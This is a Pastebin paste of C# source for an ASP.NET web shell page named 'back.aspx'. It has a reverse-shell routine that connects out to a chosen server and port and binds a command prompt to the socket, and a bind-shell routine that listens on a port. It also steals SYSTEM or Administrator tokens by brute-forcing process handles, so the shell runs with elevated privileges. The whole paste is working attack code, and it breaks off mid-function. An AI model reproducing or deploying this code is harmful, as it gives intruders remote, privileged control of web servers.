Advertisement
parkdream1

back.aspx

Nov 16th, 2012
186
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 42.81 KB | None | 0 0
  1. <%@ Page Language="C#" %>
  2. <%@ Import Namespace="System.Runtime.InteropServices" %>
  3. <%@ Import Namespace="System.Net" %>
  4. <%@ Import Namespace="System.Net.Sockets" %>
  5. <%@ Import Namespace="System.Security.Principal" %>
  6. <%@ Import Namespace="System.Data.SqlClient" %>
  7.  
  8. <script runat="server">
  9.  
  10.     [StructLayout(LayoutKind.Sequential)]
  11.     public struct STARTUPINFO
  12.     {
  13.         public int cb;
  14.         public String lpReserved;
  15.         public String lpDesktop;
  16.         public String lpTitle;
  17.         public uint dwX;
  18.         public uint dwY;
  19.         public uint dwXSize;
  20.         public uint dwYSize;
  21.         public uint dwXCountChars;
  22.         public uint dwYCountChars;
  23.         public uint dwFillAttribute;
  24.         public uint dwFlags;
  25.         public short wShowWindow;
  26.         public short cbReserved2;
  27.         public IntPtr lpReserved2;
  28.         public IntPtr hStdInput;
  29.         public IntPtr hStdOutput;
  30.         public IntPtr hStdError;
  31.     }
  32.  
  33.     [StructLayout(LayoutKind.Sequential)]
  34.     public struct PROCESS_INFORMATION
  35.     {
  36.         public IntPtr hProcess;
  37.         public IntPtr hThread;
  38.         public uint dwProcessId;
  39.         public uint dwThreadId;
  40.     }
  41.  
  42.     [StructLayout(LayoutKind.Sequential)]
  43.     public struct SECURITY_ATTRIBUTES
  44.     {
  45.         public int Length;
  46.         public IntPtr lpSecurityDescriptor;
  47.         public bool bInheritHandle;
  48.     }
  49.    
  50.    
  51.     [DllImport("kernel32.dll")]
  52.     static extern bool CreateProcess(string lpApplicationName,
  53.        string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
  54.        ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles,
  55.        uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
  56.        [In] ref STARTUPINFO lpStartupInfo,
  57.        out PROCESS_INFORMATION lpProcessInformation);
  58.  
  59.     public static uint INFINITE = 0xFFFFFFFF;
  60.    
  61.     [DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
  62.     internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);
  63.  
  64.     internal struct sockaddr_in
  65.     {
  66.         /// <summary>
  67.         /// Protocol family indicator.
  68.         /// </summary>
  69.         public short sin_family;
  70.         /// <summary>
  71.         /// Protocol port.
  72.         /// </summary>
  73.         public short sin_port;
  74.         /// <summary>
  75.         /// Actual address value.
  76.         /// </summary>
  77.         public int sin_addr;
  78.         /// <summary>
  79.         /// Address content list.
  80.         /// </summary>
  81.         //[MarshalAs(UnmanagedType.LPStr, SizeConst=8)]
  82.         //public string sin_zero;
  83.         public long sin_zero;
  84.     }
  85.  
  86.     [DllImport("kernel32.dll")]
  87.     static extern IntPtr GetStdHandle(int nStdHandle);
  88.  
  89.     [DllImport("kernel32.dll")]
  90.     static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
  91.  
  92.     public const int STD_INPUT_HANDLE = -10;
  93.     public const int STD_OUTPUT_HANDLE = -11;
  94.     public const int STD_ERROR_HANDLE = -12;
  95.    
  96.     [DllImport("kernel32")]
  97.     static extern bool AllocConsole();
  98.  
  99.  
  100.     [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
  101.     internal static extern IntPtr WSASocket([In] AddressFamily addressFamily,
  102.                                             [In] SocketType socketType,
  103.                                             [In] ProtocolType protocolType,
  104.                                             [In] IntPtr protocolInfo,
  105.                                             [In] uint group,
  106.                                             [In] int flags
  107.                                             );
  108.  
  109.     [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
  110.     internal static extern int inet_addr([In] string cp);
  111.     [DllImport("ws2_32.dll")]
  112.     private static extern string inet_ntoa(uint ip);
  113.  
  114.     [DllImport("ws2_32.dll")]
  115.     private static extern uint htonl(uint ip);
  116.    
  117.     [DllImport("ws2_32.dll")]
  118.     private static extern uint ntohl(uint ip);
  119.    
  120.     [DllImport("ws2_32.dll")]
  121.     private static extern ushort htons(ushort ip);
  122.    
  123.     [DllImport("ws2_32.dll")]
  124.     private static extern ushort ntohs(ushort ip);  
  125.  
  126.    
  127.    [DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
  128.    internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);
  129.  
  130.     [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
  131.    internal static extern int send(
  132.                                 [In] IntPtr socketHandle,
  133.                                 [In] byte[] pinnedBuffer,
  134.                                 [In] int len,
  135.                                 [In] SocketFlags socketFlags
  136.                                 );
  137.  
  138.     [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
  139.    internal static extern int recv(
  140.                                 [In] IntPtr socketHandle,
  141.                                 [In] IntPtr pinnedBuffer,
  142.                                 [In] int len,
  143.                                 [In] SocketFlags socketFlags
  144.                                 );
  145.  
  146.     [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
  147.    internal static extern int closesocket(
  148.                                        [In] IntPtr socketHandle
  149.                                        );
  150.  
  151.     [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
  152.    internal static extern IntPtr accept(
  153.                                   [In] IntPtr socketHandle,
  154.                                   [In, Out] ref sockaddr_in socketAddress,
  155.                                   [In, Out] ref int socketAddressSize
  156.                                   );
  157.  
  158.     [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
  159.    internal static extern int listen(
  160.                                   [In] IntPtr socketHandle,
  161.                                   [In] int backlog
  162.                                   );
  163.  
  164.     [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
  165.    internal static extern int bind(
  166.                                 [In] IntPtr socketHandle,
  167.                                 [In] ref sockaddr_in  socketAddress,
  168.                                 [In] int socketAddressSize
  169.                                 );
  170.  
  171.  
  172.    public enum TOKEN_INFORMATION_CLASS
  173.    {
  174.        TokenUser = 1,
  175.        TokenGroups,
  176.        TokenPrivileges,
  177.        TokenOwner,
  178.        TokenPrimaryGroup,
  179.        TokenDefaultDacl,
  180.        TokenSource,
  181.        TokenType,
  182.        TokenImpersonationLevel,
  183.        TokenStatistics,
  184.        TokenRestrictedSids,
  185.        TokenSessionId
  186.    }
  187.  
  188.    [DllImport("advapi32", CharSet = CharSet.Auto)]
  189.    public static extern bool GetTokenInformation(
  190.        IntPtr hToken,
  191.        TOKEN_INFORMATION_CLASS tokenInfoClass,
  192.        IntPtr TokenInformation,
  193.        int tokeInfoLength,
  194.        ref int reqLength);
  195.  
  196.    public enum TOKEN_TYPE
  197.    {
  198.        TokenPrimary = 1,
  199.        TokenImpersonation
  200.    }
  201.  
  202.    public enum SECURITY_IMPERSONATION_LEVEL
  203.    {
  204.        SecurityAnonymous,
  205.        SecurityIdentification,
  206.        SecurityImpersonation,
  207.        SecurityDelegation
  208.    }
  209.  
  210.    
  211.    [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
  212.    public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
  213.        ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
  214.        String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
  215.  
  216.    [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]
  217.    public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess,
  218.        ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType,
  219.        ref IntPtr DuplicateTokenHandle);
  220.  
  221.    
  222.  
  223.    const int ERROR_NO_MORE_ITEMS = 259;
  224.  
  225.    [StructLayout(LayoutKind.Sequential)]
  226.    struct TOKEN_USER
  227.    {
  228.        public _SID_AND_ATTRIBUTES User;
  229.    }
  230.  
  231.    [StructLayout(LayoutKind.Sequential)]
  232.    public struct _SID_AND_ATTRIBUTES
  233.    {
  234.        public IntPtr Sid;
  235.        public int Attributes;
  236.    }
  237.  
  238.    [DllImport("advapi32", CharSet = CharSet.Auto)]
  239.    public extern static bool LookupAccountSid
  240.    (
  241.        [In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName, // name of local or remote computer
  242.        IntPtr pSid, // security identifier
  243.        StringBuilder Account, // account name buffer
  244.        ref int cbName, // size of account name buffer
  245.        StringBuilder DomainName, // domain name
  246.        ref int cbDomainName, // size of domain name buffer
  247.        ref int peUse // SID type
  248.        // ref _SID_NAME_USE peUse // SID type
  249.    );
  250.  
  251.    [DllImport("advapi32", CharSet = CharSet.Auto)]
  252.    public extern static bool ConvertSidToStringSid(
  253.        IntPtr pSID,
  254.        [In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);
  255.  
  256.  
  257.    [DllImport("kernel32.dll", SetLastError = true)]
  258.    public static extern bool CloseHandle(
  259.        IntPtr hHandle);
  260.  
  261.    [DllImport("kernel32.dll", SetLastError = true)]
  262.    public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);
  263.    [Flags]
  264.    public enum ProcessAccessFlags : uint
  265.    {
  266.        All = 0x001F0FFF,
  267.        Terminate = 0x00000001,
  268.        CreateThread = 0x00000002,
  269.        VMOperation = 0x00000008,
  270.        VMRead = 0x00000010,
  271.        VMWrite = 0x00000020,
  272.        DupHandle = 0x00000040,
  273.        SetInformation = 0x00000200,
  274.        QueryInformation = 0x00000400,
  275.        Synchronize = 0x00100000
  276.    }
  277.  
  278.    [DllImport("kernel32.dll")]
  279.    static extern IntPtr GetCurrentProcess();
  280.  
  281.    [DllImport("kernel32.dll")]
  282.    extern static IntPtr GetCurrentThread();
  283.  
  284.  
  285.    [DllImport("kernel32.dll", SetLastError = true)]
  286.    [return: MarshalAs(UnmanagedType.Bool)]
  287.    static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
  288.       IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,
  289.       uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
  290.  
  291.     [DllImport("psapi.dll", SetLastError = true)]
  292.     public static extern bool EnumProcessModules(IntPtr hProcess,
  293.     [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule,
  294.     uint cb,
  295.     [MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);
  296.  
  297.     [DllImport("psapi.dll")]
  298.     static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);
  299.  
  300.  
  301.     //-------------------------------------------------------------------------------------------------------------------------------
  302.  
  303.     public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
  304.     public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
  305.     public const uint PIPE_ACCESS_INBOUND = 0x00000001;
  306.     public const uint PIPE_WAIT = 0x00000000;
  307.     public const uint PIPE_NOWAIT = 0x00000001;
  308.     public const uint PIPE_READMODE_BYTE = 0x00000000;
  309.     public const uint PIPE_READMODE_MESSAGE = 0x00000002;
  310.     public const uint PIPE_TYPE_BYTE = 0x00000000;
  311.     public const uint PIPE_TYPE_MESSAGE = 0x00000004;
  312.     public const uint PIPE_CLIENT_END = 0x00000000;
  313.     public const uint PIPE_SERVER_END = 0x00000001;
  314.     public const uint PIPE_UNLIMITED_INSTANCES = 255;
  315.  
  316.     public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
  317.     public const uint NMPWAIT_NOWAIT = 0x00000001;
  318.     public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;
  319.  
  320.     public const uint GENERIC_READ = (0x80000000);
  321.     public const uint GENERIC_WRITE = (0x40000000);
  322.     public const uint GENERIC_EXECUTE = (0x20000000);
  323.     public const uint GENERIC_ALL = (0x10000000);
  324.  
  325.     public const uint CREATE_NEW = 1;
  326.     public const uint CREATE_ALWAYS = 2;
  327.     public const uint OPEN_EXISTING = 3;
  328.     public const uint OPEN_ALWAYS = 4;
  329.     public const uint TRUNCATE_EXISTING = 5;
  330.  
  331.     public const int INVALID_HANDLE_VALUE = -1;
  332.  
  333.     public const ulong ERROR_SUCCESS = 0;
  334.     public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
  335.     public const ulong ERROR_PIPE_BUSY = 231;
  336.     public const ulong ERROR_NO_DATA = 232;
  337.     public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
  338.     public const ulong ERROR_MORE_DATA = 234;
  339.     public const ulong ERROR_PIPE_CONNECTED = 535;
  340.     public const ulong ERROR_PIPE_LISTENING = 536;
  341.  
  342.     //-------------------------------------------------------------------------------------------------------------------------------
  343.     [DllImport("kernel32.dll", SetLastError = true)]
  344.     public static extern IntPtr CreateNamedPipe(
  345.         String lpName,                                  // pipe name
  346.         uint dwOpenMode,                                // pipe open mode
  347.         uint dwPipeMode,                                // pipe-specific modes
  348.         uint nMaxInstances,                         // maximum number of instances
  349.         uint nOutBufferSize,                        // output buffer size
  350.         uint nInBufferSize,                         // input buffer size
  351.         uint nDefaultTimeOut,                       // time-out interval
  352.         IntPtr pipeSecurityDescriptor       // SD
  353.         );
  354.  
  355.     [DllImport("kernel32.dll", SetLastError = true)]
  356.     public static extern bool ConnectNamedPipe(
  357.         IntPtr hHandle,                                 // handle to named pipe
  358.         uint lpOverlapped                   // overlapped structure
  359.         );
  360.  
  361.     [DllImport("Advapi32.dll", SetLastError = true)]
  362.     public static extern bool ImpersonateNamedPipeClient(
  363.         IntPtr hHandle);                                    // handle to named pipe
  364.  
  365.     [DllImport("kernel32.dll", SetLastError = true)]
  366.     public static extern bool GetNamedPipeHandleState(
  367.         IntPtr hHandle,
  368.         IntPtr lpState,
  369.         IntPtr lpCurInstances,
  370.         IntPtr lpMaxCollectionCount,
  371.         IntPtr lpCollectDataTimeout,
  372.         StringBuilder lpUserName,
  373.         int nMaxUserNameSize
  374.         );
  375.     //------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------    
  376.    
  377.    
  378.    
  379.     protected void CallbackShell(string server, int port)
  380.     {
  381.         // This will do a call back shell to the specified server and port
  382.         string request = "Shell enroute.......\n";
  383.         Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
  384.  
  385.         IntPtr oursocket = IntPtr.Zero;
  386.        
  387.         sockaddr_in socketinfo;
  388.    
  389.         // Create a socket connection with the specified server and port.
  390.         oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);
  391.  
  392.         // Setup And Bind Socket
  393.         socketinfo = new sockaddr_in();
  394.        
  395.         socketinfo.sin_family = (short) AddressFamily.InterNetwork;
  396.         socketinfo.sin_addr = inet_addr(server);
  397.         socketinfo.sin_port = (short) htons((ushort)port);
  398.        
  399.         //Connect
  400.         connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));
  401.  
  402.         send(oursocket, bytesSent, request.Length, 0);
  403.  
  404.         SpawnProcessAsPriv(oursocket);
  405.  
  406.         closesocket(oursocket);
  407.        
  408.      
  409.     }
  410.  
  411.     protected void BindPortShell(int port)
  412.     {
  413.         // This will bind to a port and then send back a shell
  414.         string request = "Shell enroute.......\n";
  415.         Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
  416.  
  417.         IntPtr oursocket = IntPtr.Zero;
  418.  
  419.         sockaddr_in socketinfo;
  420.  
  421.         // Create a socket connection with the specified server and port.
  422.         oursocket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, 0);
  423.  
  424.         // Setup And Bind Socket
  425.         socketinfo = new sockaddr_in();
  426.         socketinfo.sin_family = (short)AddressFamily.InterNetwork;
  427.         uint INADDR_ANY =0x00000000;
  428.  
  429.         socketinfo.sin_addr = (int) htonl(INADDR_ANY);
  430.         socketinfo.sin_port = (short)htons((ushort) port);
  431.  
  432.         // Bind
  433.         bind(oursocket,ref socketinfo,Marshal.SizeOf(socketinfo));
  434.  
  435.         // Lsten
  436.             listen(oursocket, 128);
  437.      
  438.         // Wait for connection
  439.         int socketSize = Marshal.SizeOf(socketinfo);
  440.  
  441.         oursocket = accept(oursocket, ref socketinfo, ref socketSize);
  442.        
  443.         send(oursocket, bytesSent, request.Length, 0);
  444.  
  445.         SpawnProcessAsPriv(oursocket);
  446.  
  447.         closesocket(oursocket);
  448.        
  449.     }
  450.  
  451.     protected void SpawnProcess(IntPtr oursocket)
  452.     {
  453.         // Spawn a process to a socket withouth impersonation
  454.         bool retValue;
  455.         string Application = Environment.GetEnvironmentVariable("comspec");
  456.  
  457.         PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
  458.         STARTUPINFO sInfo = new STARTUPINFO();
  459.         SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
  460.         pSec.Length = Marshal.SizeOf(pSec);
  461.  
  462.         sInfo.dwFlags = 0x00000101; // STARTF.STARTF_USESHOWWINDOW | STARTF.STARTF_USESTDHANDLES;
  463.  
  464.         // Set Handles
  465.         sInfo.hStdInput = oursocket;
  466.         sInfo.hStdOutput = oursocket;
  467.         sInfo.hStdError = oursocket;
  468.  
  469.  
  470.         //Spawn Shell
  471.         retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
  472.  
  473.         // Wait for it to finish
  474.         WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
  475.     }
  476.  
  477.    
  478.     protected void GetSystemToken(ref IntPtr DupeToken)
  479.     {        
  480.             // Enumerate all accessible processes looking for a system token
  481.  
  482.         SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
  483.         sa.bInheritHandle = false;
  484.         sa.Length = Marshal.SizeOf(sa);
  485.         sa.lpSecurityDescriptor = (IntPtr)0;
  486.  
  487.         // Find Token
  488.         IntPtr pTokenType = Marshal.AllocHGlobal(4);
  489.         int TokenType = 0;
  490.         int cb = 4;
  491.  
  492.         string astring = "";
  493.         IntPtr token = IntPtr.Zero;
  494.         IntPtr duptoken = IntPtr.Zero;
  495.  
  496.         IntPtr hProc = IntPtr.Zero;
  497.         IntPtr usProcess = IntPtr.Zero;
  498.  
  499.  
  500.         uint pid = 0;
  501.  
  502.         for (pid = 0; pid < 9999; pid += 4)
  503.         {
  504.             hProc = OpenProcess(ProcessAccessFlags.DupHandle, false, pid);
  505.             usProcess = GetCurrentProcess();
  506.  
  507.             if (hProc != IntPtr.Zero)
  508.             {
  509.                 for (int x = 1; x <= 9999; x += 4)
  510.                 {
  511.                     token = (IntPtr)x;
  512.  
  513.                     if (DuplicateHandle(hProc, token, usProcess, out duptoken, 0, false, 2))
  514.                     {
  515.                         if (GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb))
  516.                         {
  517.                             TokenType = Marshal.ReadInt32(pTokenType);
  518.  
  519.                             switch ((TOKEN_TYPE)TokenType)
  520.                             {
  521.                                 case TOKEN_TYPE.TokenPrimary:
  522.                                     astring = "Primary";
  523.                                     break;
  524.                                 case TOKEN_TYPE.TokenImpersonation:
  525.                                     // Get the impersonation level
  526.                                     GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb);
  527.                                     TokenType = Marshal.ReadInt32(pTokenType);
  528.                                     switch ((SECURITY_IMPERSONATION_LEVEL)TokenType)
  529.                                     {
  530.                                         case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous:
  531.                                             astring = "Impersonation - Anonymous";
  532.                                             break;
  533.                                         case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification:
  534.                                             astring = "Impersonation - Identification";
  535.                                             break;
  536.                                         case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation:
  537.                                             astring = "Impersonation - Impersonation";
  538.                                             break;
  539.                                         case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation:
  540.                                             astring = "Impersonation - Delegation";
  541.                                             break;
  542.                                     }
  543.  
  544.                                     break;
  545.                             }
  546.  
  547.  
  548.                             // Get user name
  549.                             TOKEN_USER tokUser;
  550.                             string username;
  551.                             const int bufLength = 256;
  552.                             IntPtr tu = Marshal.AllocHGlobal(bufLength);
  553.                             cb = bufLength;
  554.                             GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenUser, tu, cb, ref cb);
  555.                             tokUser = (TOKEN_USER)Marshal.PtrToStructure(tu, typeof(TOKEN_USER));
  556.  
  557.                             username = DumpAccountSid(tokUser.User.Sid);
  558.  
  559.                             Marshal.FreeHGlobal(tu);
  560.  
  561.                             if (username.ToString() == "NT AUTHORITY\\\\SYSTEM")
  562.                             {
  563.                                 // Coverts a primary token to an impersonation
  564.                                 if (DuplicateTokenEx(duptoken, GENERIC_ALL, ref sa, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TOKEN_TYPE.TokenPrimary, ref DupeToken))
  565.                                 {
  566.                                     // Display the token type
  567.                                     //Response.Output.Write("* Duplicated token is {0}<br>", DisplayTokenType(DupeToken));
  568.  
  569.                                     return;
  570.                                 }
  571.                             }  
  572.                         }
  573.                         CloseHandle(duptoken);
  574.                     }
  575.                 }
  576.                 CloseHandle(hProc);
  577.             }
  578.            
  579.         }
  580.        
  581.     }
  582.    
  583.     protected void GetAdminToken(ref IntPtr DupeToken)
  584.     {        
  585.             // Enumerate all accessible processes looking for a system token
  586.  
  587.         SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
  588.         sa.bInheritHandle = false;
  589.         sa.Length = Marshal.SizeOf(sa);
  590.         sa.lpSecurityDescriptor = (IntPtr)0;
  591.  
  592.         // Find Token
  593.         IntPtr pTokenType = Marshal.AllocHGlobal(4);
  594.         int TokenType = 0;
  595.         int cb = 4;
  596.  
  597.         string astring = "";
  598.         IntPtr token = IntPtr.Zero;
  599.         IntPtr duptoken = IntPtr.Zero;
  600.  
  601.         IntPtr hProc = IntPtr.Zero;
  602.         IntPtr usProcess = IntPtr.Zero;
  603.  
  604.  
  605.         uint pid = 0;
  606.  
  607.         for (pid = 0; pid < 9999; pid += 4)
  608.         {
  609.             hProc = OpenProcess(ProcessAccessFlags.DupHandle, false, pid);
  610.             usProcess = GetCurrentProcess();
  611.  
  612.             if (hProc != IntPtr.Zero)
  613.             {
  614.                 for (int x = 1; x <= 9999; x += 4)
  615.                 {
  616.                     token = (IntPtr)x;
  617.  
  618.                     if (DuplicateHandle(hProc, token, usProcess, out duptoken, 0, false, 2))
  619.                     {
  620.                         if (GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb))
  621.                         {
  622.                             TokenType = Marshal.ReadInt32(pTokenType);
  623.  
  624.                             switch ((TOKEN_TYPE)TokenType)
  625.                             {
  626.                                 case TOKEN_TYPE.TokenPrimary:
  627.                                     astring = "Primary";
  628.                                     break;
  629.                                 case TOKEN_TYPE.TokenImpersonation:
  630.                                     // Get the impersonation level
  631.                                     GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb);
  632.                                     TokenType = Marshal.ReadInt32(pTokenType);
  633.                                     switch ((SECURITY_IMPERSONATION_LEVEL)TokenType)
  634.                                     {
  635.                                         case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous:
  636.                                             astring = "Impersonation - Anonymous";
  637.                                             break;
  638.                                         case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification:
  639.                                             astring = "Impersonation - Identification";
  640.                                             break;
  641.                                         case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation:
  642.                                             astring = "Impersonation - Impersonation";
  643.                                             break;
  644.                                         case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation:
  645.                                             astring = "Impersonation - Delegation";
  646.                                             break;
  647.                                     }
  648.  
  649.                                     break;
  650.                             }
  651.  
  652.  
  653.                             // Get user name
  654.                             TOKEN_USER tokUser;
  655.                             string username;
  656.                             const int bufLength = 256;
  657.                             IntPtr tu = Marshal.AllocHGlobal(bufLength);
  658.                             cb = bufLength;
  659.                             GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenUser, tu, cb, ref cb);
  660.                             tokUser = (TOKEN_USER)Marshal.PtrToStructure(tu, typeof(TOKEN_USER));
  661.  
  662.                             username = DumpAccountSid(tokUser.User.Sid);
  663.  
  664.                             Marshal.FreeHGlobal(tu);
  665.  
  666.                             if (username.EndsWith("Administrator"))
  667.                             {
  668.                                 // Coverts a primary token to an impersonation
  669.                                 if (DuplicateTokenEx(duptoken, GENERIC_ALL, ref sa, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TOKEN_TYPE.TokenPrimary, ref DupeToken))
  670.                                 {
  671.                                     // Display the token type
  672.                                     //Response.Output.Write("* Duplicated token is {0}<br>", DisplayTokenType(DupeToken));
  673.  
  674.                                     return;
  675.                                 }
  676.                             }  
  677.                         }
  678.                         CloseHandle(duptoken);
  679.                     }
  680.                 }
  681.                 CloseHandle(hProc);
  682.             }
  683.            
  684.         }
  685.        
  686.     }
  687.    
  688.     protected void SpawnProcessAsPriv(IntPtr oursocket)
  689.     {
  690.         // Spawn a process to a socket
  691.        
  692.         bool retValue;
  693.         string Application = Environment.GetEnvironmentVariable("comspec");
  694.  
  695.         PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
  696.         STARTUPINFO sInfo = new STARTUPINFO();
  697.         SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
  698.         pSec.Length = Marshal.SizeOf(pSec);
  699.  
  700.         sInfo.dwFlags = 0x00000101; // STARTF.STARTF_USESHOWWINDOW | STARTF.STARTF_USESTDHANDLES;
  701.  
  702.         IntPtr DupeToken = new IntPtr(0);
  703.  
  704.        
  705.         // Get the token
  706.         GetSystemToken(ref DupeToken);
  707.        
  708.         if (DupeToken == IntPtr.Zero)
  709.                         GetAdminToken(ref DupeToken);
  710.        
  711.  
  712.         // Display the token type
  713.         //Response.Output.Write("* Creating shell as {0}<br>", DisplayTokenType(DupeToken));
  714.        
  715.              
  716.        
  717.         // Set Handles
  718.         sInfo.hStdInput = oursocket;
  719.         sInfo.hStdOutput = oursocket;
  720.         sInfo.hStdError = oursocket;
  721.  
  722.  
  723.         //Spawn Shell
  724.         if (DupeToken == IntPtr.Zero)
  725.        
  726.             retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
  727.         else
  728.             retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
  729.  
  730.         // Wait for it to finish
  731.         WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
  732.  
  733.         //Close It all up
  734.         CloseHandle(DupeToken);
  735.     }
  736.  
  737.     //--------------------------------------------------------
  738.     // Display the type of token and the impersonation level
  739.     //--------------------------------------------------------
  740.     protected StringBuilder DisplayTokenType(IntPtr token)
  741.     {
  742.         IntPtr pTokenType = Marshal.AllocHGlobal(4);
  743.         int TokenType = 0;
  744.         int cb = 4;
  745.  
  746.         StringBuilder sb = new StringBuilder();
  747.  
  748.         GetTokenInformation(token, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb);
  749.         TokenType = Marshal.ReadInt32(pTokenType);
  750.  
  751.         switch ((TOKEN_TYPE)TokenType)
  752.         {
  753.             case TOKEN_TYPE.TokenPrimary:
  754.                 sb.Append("Primary");
  755.                 break;
  756.             case TOKEN_TYPE.TokenImpersonation:
  757.                 // Get the impersonation level
  758.                 GetTokenInformation(token, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb);
  759.                 TokenType = Marshal.ReadInt32(pTokenType);
  760.                 switch ((SECURITY_IMPERSONATION_LEVEL)TokenType)
  761.                 {
  762.                     case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous:
  763.                         sb.Append("Impersonation - Anonymous");
  764.                         break;
  765.                     case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification:
  766.                         sb.Append("Impersonation - Identification");
  767.                         break;
  768.                     case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation:
  769.                         sb.Append("Impersonation - Impersonation");
  770.                         break;
  771.                     case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation:
  772.                         sb.Append("Impersonation - Delegation");
  773.                         break;
  774.                 }
  775.  
  776.                 break;
  777.         }
  778.         Marshal.FreeHGlobal(pTokenType);
  779.         return sb;
  780.     }
  781.  
  782.     protected void DisplayCurrentContext()
  783.     {
  784.         Response.Output.Write("* Thread executing as {0}, token is {1}<br>", WindowsIdentity.GetCurrent().Name, DisplayTokenType(WindowsIdentity.GetCurrent().Token));
  785.     }
  786.  
  787.     protected string DumpAccountSid(IntPtr SID)
  788.     {
  789.         int cchAccount = 0;
  790.         int cchDomain = 0;
  791.         int snu = 0;
  792.         StringBuilder sb = new StringBuilder();
  793.  
  794.         // Caller allocated buffer
  795.         StringBuilder Account = null;
  796.         StringBuilder Domain = null;
  797.         bool ret = LookupAccountSid(null, SID, Account, ref cchAccount, Domain, ref cchDomain, ref snu);
  798.         if (ret == true)
